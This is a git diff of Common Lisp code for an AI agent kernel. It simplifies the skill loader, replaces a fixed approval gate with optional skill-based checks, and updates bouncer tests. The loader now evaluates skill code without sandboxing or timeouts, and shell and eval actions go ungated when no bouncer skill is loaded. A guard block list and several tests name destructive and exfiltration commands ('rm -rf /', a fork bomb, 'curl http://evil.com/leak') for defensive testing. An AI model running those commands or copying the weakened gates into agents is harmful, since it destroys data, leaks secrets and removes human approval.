(push name resolved)))) - (visit skill-name) (nreverse resolved)))) - -(defun parse-skill-metadata (filepath) - "Extracts ID and DEPENDS_ON tags using robust line-scanning." - (let ((dependencies nil) - (id nil)) - (with-open-file (stream filepath) - (loop for line = (read-line stream nil :eof) - until (eq line :eof) - do (let ((clean (string-trim '(#\Space #\Tab #\Return #\Newline) line))) - (cond - ((uiop:string-prefix-p "#+DEPENDS_ON:" (string-upcase clean)) - (let* ((deps-part (string-trim " " (subseq clean 13)))) - (setf dependencies (append dependencies - (mapcar (lambda (s) (string-trim "[] " s)) - (uiop:split-string deps-part :separator '(#\Space #\Tab))))))) - ((uiop:string-prefix-p ":ID:" (string-upcase clean)) - (setf id (string-trim '(#\Space #\Tab) (subseq clean 4)))))))) - (values id (remove-if (lambda (s) (= 0 (length s))) dependencies)))) - -(defun topological-sort-skills (skills-dir) - "Returns a list of skill filepaths sorted by dependency (dependencies first)." - (let ((files (uiop:directory-files skills-dir "org-skill-*.org")) - (adj (make-hash-table :test 'equal)) - (id-to-file (make-hash-table :test 'equal)) - (result nil) - (visited (make-hash-table :test 'equal)) - (stack (make-hash-table :test 'equal))) - (dolist (file files) - (let ((filename (pathname-name file))) - (multiple-value-bind (id deps) (parse-skill-metadata file) - (setf (gethash (string-downcase filename) id-to-file) file) - (when id (setf (gethash (string-downcase id) id-to-file) file)) - (setf (gethash (string-downcase filename) adj) deps)))) - (labels ((visit (file) - (let* ((filename (pathname-name file)) - (node-key (string-downcase filename))) - (unless (gethash node-key visited) - (setf (gethash node-key stack) t) - (dolist (dep (gethash node-key adj)) - (let* ((dep-id (if (and (> (length dep) 3) (uiop:string-prefix-p "id:" (string-downcase dep))) - (subseq dep 3) - dep)) - (dep-file (gethash (string-downcase dep-id) id-to-file))) - (when dep-file - (let ((dep-filename (pathname-name dep-file))) - (if (gethash (string-downcase dep-filename) stack) - (error "Circular dependency detected: ~a -> ~a" filename dep-filename) - (visit dep-file)))))) - (setf (gethash node-key stack) nil) - (setf (gethash node-key visited) t) - (push file result))))) - (let ((filenames (sort (mapcar #'pathname-name files) #'string<))) - (dolist (name filenames) - (let ((file (gethash (string-downcase name) id-to-file))) - (when file (visit file))))) - result))) - -(defun load-skill-from-org (filepath) - "Parses and evaluates Lisp blocks from an Org file into a jailed package." - (let* ((skill-base-name (pathname-name filepath)) - (entry (or (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))) - (setf (skill-entry-status entry) :loading) - (setf (gethash skill-base-name *skill-catalog*) entry) - +(defun load-skill-from-org (path) + "Extracts Lisp source from an Org file and evaluates it." + (let ((skill-name (pathname-name path))) (handler-case - (let* ((content (uiop:read-file-string filepath)) - (lines (uiop:split-string content :separator '(#\Newline))) - (in-lisp-block nil) - (lisp-code "") - (pkg-name (intern (string-upcase (format nil "ORG-AGENT.SKILLS.~a" skill-base-name)) :keyword))) - - (dolist (line lines) - (let ((clean-line (string-trim '(#\Space #\Tab #\Return) line))) - (cond ((uiop:string-prefix-p "#+begin_src lisp" (string-downcase clean-line)) (setf in-lisp-block t)) - ((uiop:string-prefix-p "#+end_src" (string-downcase clean-line)) (setf in-lisp-block nil)) - (in-lisp-block (setf lisp-code (concatenate 'string lisp-code line (string #\Newline))))))) - - (if (= (length lisp-code) 0) - (progn (setf (skill-entry-status entry) :ready) t) ;; Valid empty skill - (progn - ;; PRE-FLIGHT: Syntax Validation - (multiple-value-bind (valid-p err) (validate-lisp-syntax lisp-code) - (unless valid-p - (error "Syntax Error: ~a" err))) - - (kernel-log "KERNEL: Jailing skill '~a' in package ~a" skill-base-name pkg-name) - (unless (find-package pkg-name) - (let ((new-pkg (make-package pkg-name :use '(:cl)))) - (do-external-symbols (sym (find-package :org-agent)) (shadowing-import sym new-pkg)))) - - (let ((*read-eval* nil) (*package* (find-package pkg-name))) - (eval (read-from-string (format nil "(progn ~a)" lisp-code)))) - - (setf (skill-entry-status entry) :ready) - t))) + (let ((source (uiop:read-file-string path))) + (cl-ppcre:do-register-groups (code) ("#\\+begin_src lisp.*\\n([\\s\\S]*?)\\n#\\+end_src" source) + (let ((*package* (find-package :org-agent))) + (eval (read-from-string (concatenate 'string "(progn " code ")"))))) + (setf (gethash skill-name *skill-catalog*) (make-skill-entry :filename path :status :ready :load-time (get-universal-time))) + (kernel-log "SKILL [Loader] - Successfully loaded ~a" skill-name)) (error (c) - (let ((msg (format nil "~a" c))) - (kernel-log "LOADER ERROR in skill '~a': ~a" skill-base-name msg) - (setf (skill-entry-status entry) :failed) - (setf (skill-entry-error-log entry) msg) - nil))))) - -(defun load-skill-with-timeout (filepath timeout-seconds) - "Loads a skill Org file with a hard execution timeout." - (let* ((finished nil) - (thread (bt:make-thread (lambda () - (if (load-skill-from-org filepath) - (setf finished t) - (setf finished :error))) - :name (format nil "loader-~a" (pathname-name filepath)))) - (start-time (get-internal-real-time)) - (timeout-units (truncate (* timeout-seconds internal-time-units-per-second)))) - (loop - (when (eq finished t) (return :success)) - (when (eq finished :error) (return :error)) - (unless (bt:thread-alive-p thread) (return :error)) - (when (> (- (get-internal-real-time) start-time) timeout-units) - (kernel-log "KERNEL: Timing out skill ~a..." (pathname-name filepath)) - #+sbcl (sb-thread:terminate-thread thread) - #-sbcl (bt:destroy-thread thread) - (return :timeout)) - (sleep 0.05)))) + (kernel-log "SKILL ERROR [Loader] - Failed to load ~a: ~a" skill-name c) + (setf (gethash skill-name *skill-catalog*) (make-skill-entry :filename path :status :failed :error-log (format nil "~a" c))))))) (defun initialize-all-skills () - "Scans the directory defined by SKILLS_DIR and hot-loads skills using topological order." - (let* ((env-path (uiop:getenv "SKILLS_DIR")) - (skills-dir-str (or env-path (namestring (merge-pathnames "notes/" (user-homedir-pathname))))) - (resolved-path (context-resolve-path skills-dir-str)) - (skills-dir (if resolved-path (uiop:ensure-directory-pathname resolved-path) nil))) - - (unless (and skills-dir (uiop:directory-exists-p skills-dir)) - (kernel-log "KERNEL ERROR: Skills directory not found: ~a" skills-dir-str) - (return-from initialize-all-skills nil)) - - (let ((sorted-files (topological-sort-skills skills-dir))) - ;; MANDATE: The Executive Soul must be present - (unless (member "org-skill-agent" sorted-files :key #'pathname-name :test #'string-equal) - (error "BOOT FAILURE: org-skill-agent.org not found in skills directory.")) - - (kernel-log "==================================================") - (kernel-log " LOADER: Initializing ~a skills..." (length sorted-files)) - - (dolist (file sorted-files) - (let ((skill-name (pathname-name file))) - (kernel-log " LOADER: Loading ~a..." skill-name) - (load-skill-with-timeout file 5))) - - ;; Final Summary - (let ((ready 0) (failed 0)) - (maphash (lambda (k v) - (declare (ignore k)) - (if (eq (skill-entry-status v) :ready) (incf ready) (incf failed))) - *skill-catalog*) - (kernel-log " LOADER: Boot Complete. [Ready: ~a] [Failed: ~a]" ready failed) - (kernel-log "==================================================") - (values ready failed))))) - -(defun validate-lisp-syntax (code-string) - "Checks if a string contains valid, readable Common Lisp forms." - (handler-case (let ((*read-eval* nil)) (with-input-from-string (stream (format nil "(progn ~a)" code-string)) - (loop for form = (read stream nil :eof) until (eq form :eof)) (values t nil))) - (error (c) (values nil (format nil "~a" c))))) - -(def-cognitive-tool :eval "Evaluates raw Common Lisp code in the kernel image. Use this for complex calculations or internal state inspection." - :parameters ((:code :type :string :description "The Lisp code to evaluate")) - :guard (lambda (args context) - (declare (ignore context)) - (let ((code (getf args :code))) - (let ((harness-pkg (find-package :org-agent.skills.org-skill-safety-harness))) - (if harness-pkg - (uiop:symbol-call :org-agent.skills.org-skill-safety-harness :safety-harness-validate code) - t)))) - :body (lambda (args) - (let ((code (getf args :code))) - (handler-case (let ((result (eval (read-from-string code)))) - (format nil "~s" result)) - (error (c) (format nil "ERROR: ~a" c)))))) - -(def-cognitive-tool :grep-search "Searches for a pattern in the project files." - :parameters ((:pattern :type :string :description "The regex pattern to search for") - (:dir :type :string :description "Directory to search in (default is project root)")) - :body (lambda (args) - (let ((pattern (getf args :pattern)) - (dir (or (getf args :dir) (uiop:getenv "MEMEX_DIR")))) - (uiop:run-program (list "grep" "-r" "-n" "--exclude-dir=node_modules" pattern dir) - :output :string :ignore-error-status t)))) - -(def-cognitive-tool :shell "Executes a shell command on the local machine. Use this for file operations, system checks, or running tests." - :parameters ((:cmd :type :string :description "The full bash command to execute")) - :guard (lambda (args context) - (declare (ignore context)) - (let ((cmd (getf args :cmd))) - (not (or (search "rm -rf /" cmd) (search ":(){ :|:& };:" cmd))))) - :body (lambda (args) - (let ((cmd (getf args :cmd))) - (multiple-value-bind (out err code) - (uiop:run-program (list "bash" "-c" cmd) :output :string :error-output :string :ignore-error-status t) - (format nil "EXIT-CODE: ~a~%~%STDOUT:~%~a~%~%STDERR:~%~a" code out err))))) + "Discovers and loads all .org skills from the project directory." + (let ((skill-dir (or (uiop:getenv "SKILLS_DIR") "projects/org-agent/skills/"))) + (ensure-directories-exist skill-dir) + (dolist (path (uiop:directory-files skill-dir "*.org")) + (load-skill-from-org path)))) diff --git a/src/symbolic.lisp b/src/symbolic.lisp index cb00e55..80ba1f2 100644 --- a/src/symbolic.lisp +++ b/src/symbolic.lisp @@ -14,20 +14,6 @@ (return-from task-integrity-check "Blocked by Task Integrity: Active children exist.")))) nil)) -(defun bouncer-check (action) - "Checks if an action requires manual authorization." - (let* ((payload (getf action :payload)) - (target (getf action :target)) - (act (or (getf payload :action) (getf action :action))) - (tool (or (getf payload :tool) (getf action :tool))) - (approved (getf action :approved))) - (when (and (not approved) - (or (and (eq target :tool) (equal tool "shell")) - (and (eq target :emacs) (eq act :eval)) - (and (eq target :tool) (equal tool "repair-file")))) - (return-from bouncer-check t)) - nil)) - (defun decide (proposed-action context) "The System 2 Safety Gate: validates or rejects proposed neural actions." ;; 1. Task Integrity Check (GTD Semantics) @@ -36,14 +22,26 @@ (kernel-log "SYSTEM 2 [INTEGRITY]: ~a~%" integrity-error) (return-from decide (list :type :LOG :payload (list :text integrity-error))))) - ;; 2. Bouncer Check (Authorization Gate) - (when (bouncer-check proposed-action) - (kernel-log "SYSTEM 2 [BOUNCER]: Action requires manual approval.~%") - (return-from decide - (list :type :EVENT - :payload (list :sensor :approval-required :action proposed-action)))) + ;; 2. Bouncer Check (DPI & Authorization) + ;; All actions pass through the Bouncer skill logic first if it's loaded + (let* ((bouncer-skill (gethash "skill-bouncer" *skills-registry*)) + (bouncer-fn (when bouncer-skill (skill-symbolic-fn bouncer-skill)))) + (when bouncer-fn + (let ((bouncer-decision (funcall bouncer-fn proposed-action context))) + (unless (equal bouncer-decision proposed-action) + (kernel-log "SYSTEM 2 [BOUNCER]: Action intercepted.~%") + (return-from decide bouncer-decision))))) - ;; 3. Skill-specific and Safety Checks + ;; 3. Formal Verification Gate + (let* ((formal-skill (gethash "skill-formal-verification" *skills-registry*)) + (formal-fn (when formal-skill (skill-symbolic-fn formal-skill)))) + (when formal-fn + (let ((formal-decision (funcall formal-fn proposed-action context))) + (unless (equal formal-decision proposed-action) + (kernel-log "SYSTEM 2 [FORMAL]: Action intercepted.~%") + (return-from decide formal-decision))))) + + ;; 4. Skill-specific and Safety Checks (let ((active-skill (find-triggered-skill context))) (if (and proposed-action (listp proposed-action) active-skill) (let* ((symbolic-gate (skill-symbolic-fn active-skill)) diff --git a/tests/bouncer-tests.lisp b/tests/bouncer-tests.lisp index 5d5b936..10b60c6 100644 --- a/tests/bouncer-tests.lisp +++ b/tests/bouncer-tests.lisp @@ -8,29 +8,33 @@ (test test-bouncer-interception "Verify that a high-risk action is intercepted by the bouncer." - (let* ((action '(:type :REQUEST :target :tool :action :call :tool "shell" :args (:cmd "rm -rf /"))) + (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "rm -rf /"))) (context '(:payload (:sensor :test))) - (result (org-agent:decide-gate (list :type :EVENT :candidate action :payload '(:sensor :test))))) + ;; decide-gate expects a signal plist with a :candidate + (signal (list :candidate action :payload '(:sensor :test))) + (result (org-agent:decide-gate signal))) (let ((approved (getf result :approved-action))) ;; Result should be an EVENT requiring approval, not the original REQUEST + (is (not (null approved))) (is (eq :EVENT (getf approved :type))) (is (eq :approval-required (getf (getf approved :payload) :sensor))) (is (equal action (getf (getf approved :payload) :action)))))) (test test-bouncer-bypass "Verify that an approved action bypasses the bouncer." - (let* ((action '(:type :REQUEST :target :tool :action :call :tool "shell" :args (:cmd "ls") :approved t)) + (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "ls") :approved t)) (context '(:payload (:sensor :test))) - (result (org-agent:decide-gate (list :type :EVENT :candidate action :payload '(:sensor :test))))) + (signal (list :candidate action :payload '(:sensor :test))) + (result (org-agent:decide-gate signal))) (let ((approved (getf result :approved-action))) ;; Result should be the original action because it has :approved t - (is (eq :REQUEST (getf approved :type))) + (is (not (null approved))) (is (equal action approved))))) (test test-bouncer-approval-reaction "Verify that the bouncer skill re-injects an action when a plan node is APPROVED." (clrhash org-agent::*object-store*) - (let* ((action '(:type :REQUEST :target :tool :action :call :tool "ls")) + (let* ((action '(:type :REQUEST :target :telegram :payload (:text "hello"))) (node-id "plan-1")) ;; 1. Setup an APPROVED flight plan node (setf (gethash node-id org-agent::*object-store*) @@ -44,3 +48,26 @@ ;; The node should now be DONE (let ((obj (gethash node-id org-agent::*object-store*))) (is (equal "DONE" (getf (org-agent:org-object-attributes obj) :TODO))))))) + +(test test-bouncer-secret-exposure + "Verify that the bouncer blocks leakage of secrets from the vault." + (let ((old-vault org-agent::*vault-memory*)) + (unwind-protect + (progn + (setf org-agent::*vault-memory* (make-hash-table :test 'equal)) + (setf (gethash ":test-secret-api-key" org-agent::*vault-memory*) "SUPER-SECRET-12345") + + (let* ((action '(:type :REQUEST :target :telegram :payload (:text "My key is SUPER-SECRET-12345"))) + (result (org-agent::bouncer-check action nil))) + (is (not (eq result action))) + (is (eq :log (getf result :type))) + (is (search "Potential exposure of :test-secret" (getf (getf result :payload) :text))))) + (setf org-agent::*vault-memory* old-vault)))) + +(test test-bouncer-network-exfiltration + "Verify that unwhitelisted network calls are intercepted." + (let ((action '(:type :REQUEST :target :shell :payload (:cmd "curl http://evil.com/leak")))) + (let ((result (org-agent::bouncer-check action nil))) + (is (not (null result))) + (is (eq :EVENT (getf result :type))) + (is (eq :approval-required (getf (getf result :payload) :sensor))))))